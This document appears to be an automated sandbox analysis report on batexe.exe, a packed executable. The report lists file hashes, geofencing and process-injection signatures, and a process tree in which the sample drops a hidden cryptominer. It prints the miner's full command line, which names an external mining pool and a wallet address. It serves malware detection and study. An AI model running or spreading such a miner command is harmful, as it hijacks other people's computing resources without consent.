Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
298s -
max time network
302s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
18/02/2024, 05:32
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 3244 b2e.exe 4308 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4308 cpuminer-sse2.exe 4308 cpuminer-sse2.exe 4308 cpuminer-sse2.exe 4308 cpuminer-sse2.exe 4308 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2500-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2500 wrote to memory of 3244 2500 batexe.exe 85 PID 2500 wrote to memory of 3244 2500 batexe.exe 85 PID 2500 wrote to memory of 3244 2500 batexe.exe 85 PID 3244 wrote to memory of 2540 3244 b2e.exe 86 PID 3244 wrote to memory of 2540 3244 b2e.exe 86 PID 3244 wrote to memory of 2540 3244 b2e.exe 86 PID 2540 wrote to memory of 4308 2540 cmd.exe 89 PID 2540 wrote to memory of 4308 2540 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\63CB.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4308
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
35.1MB
MD503ee20fda3c53b18777a18a654b18168
SHA190ecadf437ea0071c52beb07b2d8e52b4c6d7416
SHA2566e961b63a3b50ba1ef06d3cde29bc4dacccf63d16555dffd33df833cb9f195ad
SHA5122fdd6d37fb475fa9673c42d49b8a6903e6888bfb98aa13d0f163da5321fbac5f476222bc5b63d95ce3f735abae7e081df3b876e132696a36a491425d9d0f0adc
-
Filesize
320KB
MD588364d3a1722b83013616c5ae51fd6d7
SHA1d6727613607431104a14f30001a7e1af8e2bf026
SHA25670ea586c99e68feae0fd4579a9d93d4e0fd46b623f35b3cdbcf4fca2f6e3e6d4
SHA512ba46a975471bad7f3aa1f333317fb152eab233934af7d648454cfbf2bd852d7745906fc407c5a4a6c60d78368486587f21aeaf9f12dbdf684de818c8e06a9e43
-
Filesize
64KB
MD53e63d8d147aec3c4d5e3e08d79395350
SHA1633cc399218c2915b895a83bda89bce9f37e39dc
SHA25639cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320
SHA512545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
512KB
MD5a879c5fd4613dca566d5b1a782690dd5
SHA141c6063b0f0dee953e99713a5326856b55e08366
SHA2563ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20
SHA512e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96
-
Filesize
192KB
MD501f228e3eadcf394f8e57348314c7104
SHA171571d5d327678688e7c77f19509a17781ae17d0
SHA256c38983cab3c0de4a73e61d6ed2abcee2567becbfca4b1714d3b03389556880f6
SHA512eb40b33112cf913383b22dbf4d2977e4c8cee5123620efea1b10d0e5e5d1495e37b12c5f2da0cc778af2044d6f7667ed7b009c019f7e03cdf5f060623f4ce9e3
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
64KB
MD57fcedb6e973c5df3b6652a2afafa6a13
SHA1116728803559ab58a8127544df80b75a0dd1c6d2
SHA256fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825
SHA51205c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd
-
Filesize
128KB
MD59746d1ac79c8b499d8b2224394581fa7
SHA136b1985eabfd8131ad9f2b7f69c903a3fce67629
SHA25677941fbe96e0c797e6cf5419ee32bd3fcee69629cba37750146656a660c37182
SHA51261a6174e2aced5b85cd614ad2f9d3da24c6b91e1fc04e10ff818222c4323cd043a59708bd35af0de84b004bf492fbc157d72907cd1e7ddf7082fc2a3563ef183
-
Filesize
64KB
MD5e98583e2f3157ea2561f40a91a79b195
SHA1770932f48dbea7a78a3b21e3df65e329a27313ff
SHA256f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2
SHA512cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
-
Filesize
64KB
MD56cccf65bd7d7ff5b53aeb882e15c462c
SHA1a9822b63ad70c6085ed1deda0fbe4bc5fe555f3d
SHA2561379cd6111c2c37cf16f2dd9b325118513e85c35543ba45e79deb504dd4c01d2
SHA512c174b5f8615131c2b86c57aee166744ee1fe02ff7c916195f2fde06684f467545a3fa4f88083335e2045d12727d774279dc8672ec352de3095b729aa5d1dedcb